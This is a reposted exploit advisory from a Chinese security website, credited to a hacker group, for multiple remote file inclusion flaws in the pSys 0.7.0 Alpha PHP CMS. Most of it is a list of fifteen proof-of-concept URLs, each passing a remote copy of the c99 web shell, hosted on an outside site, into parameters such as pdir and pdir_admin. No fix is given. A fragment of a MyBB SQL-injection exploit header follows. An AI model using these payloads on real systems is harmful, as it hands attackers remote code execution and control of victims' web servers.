建站极客  
                        网络安全                          Exploit                          正文 
                     
                 
                
                    pSys 0.7.0 Alpha Multiple Remote File Inclusion Vulnerability                 
                
                    所属分类:
                        网络安全  / Exploit                      
                    阅读数:
                        149 
                    
                        
                                 
                             收藏 0
                                 
                             赞 0
                                 
                             分享 
                    
                 
                
                    ==================================================== 
   | pSys v0.7.0 Alpha Multiple Remote File Include    
   |     (works only with register_globals = on)       
   |        Founded By rXh RoMaNTiC-TeaM               
   ==================================================== 
 
[!] Discovered.:                           RoMaNcYxHaCkEr 
[!] Vendor.....:                            http://www.powie.de 
[!] My Homepage...:                    WwW.4RxH.CoM 
[!] RoMaNTiC-TeaM Members ...:  Unknown Hacker , aLwHeD , GaMe-OvEr-HaCkErs 
[!] Contact Me ...:                        rxh0@hotmail.com 
 
[!] Background.:                          pSys is a module based PHP Script 
 
[!] Bugs........:                             In Different Files & In Different Variable And Lines 
 
[!] PoC........:  
 
http://4RxH.CoM/cms1/login.inc.php?pdir=http://www.uploadhere.org/c99.txt? 
http://4RxH.CoM/cms1/admin/adminmenuright.php?pdir_admin=http://www.uploadhere.org/c99.txt? 
http://4RxH.CoM/cms1/admin/fuss.php?pdir_admin=http://www.uploadhere.org/c99.txt? 
http://4RxH.CoM/cms1/admin/kopf.php?pdir_admin=http://www.uploadhere.org/c99.txt? 
http://4RxH.CoM/cms1/forum/ajax_newpost.inc.php?pdir_lib=http://www.uploadhere.org/c99.txt? 
http://4RxH.CoM/cms1/panels/panel_shopkategorie.php?pdir_mod=http://www.uploadhere.org/c99.txt? 
http://4RxH.CoM/cms1/panels/panel_shopkunde.php?pdir_mod=http://www.uploadhere.org/c99.txt? 
http://4RxH.CoM/cms1/panels/panel_user.php?pdir=http://www.uploadhere.org/c99.txt? 
http://4RxH.CoM/cms1/mod/gb/ajax_post.inc.php?pdir_lib=http://www.uploadhere.org/c99.txt? 
http://4RxH.CoM/cms1/style/csg/fuss.php?pdir=http://www.uploadhere.org/c99.txt? 
http://4RxH.CoM/cms1/style/csg/kopf.php?pdir=http://www.uploadhere.org/c99.txt? 
http://4RxH.CoM/cms1/style/default/fuss.php?pdir=http://www.uploadhere.org/c99.txt? 
http://4RxH.CoM/cms1/style/default/kopf.php?pdir=http://www.uploadhere.org/c99.txt? 
http://4RxH.CoM/cms1/style/simpleblack/fuss.php?pdir=http://www.uploadhere.org/c99.txt? 
http://4RxH.CoM/cms1/style/simpleblack/kopf.php?pdir=http://www.uploadhere.org/c99.txt? 
 
[!] Solution...:     Contact With Me I Will Declear All This Fucking Function 
 
[!] Greetingz..:    No One Deserved (Am I Said The Truth ?!!!) 
 
[!] Thx .. :           DNX For Your Exploit I Found This Bugs From Your Exploit  :)  
 
[!] rXh 
 
[!] bEST wISHES
                                     
             
            
                
                MyBulletinBoard (MyBB) <?php
// forum mybb <= 1.2.11 remote sql injection vulnerability
// bug found by Janek Vind "waraxe" http://www.waraxe
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
                 查看更多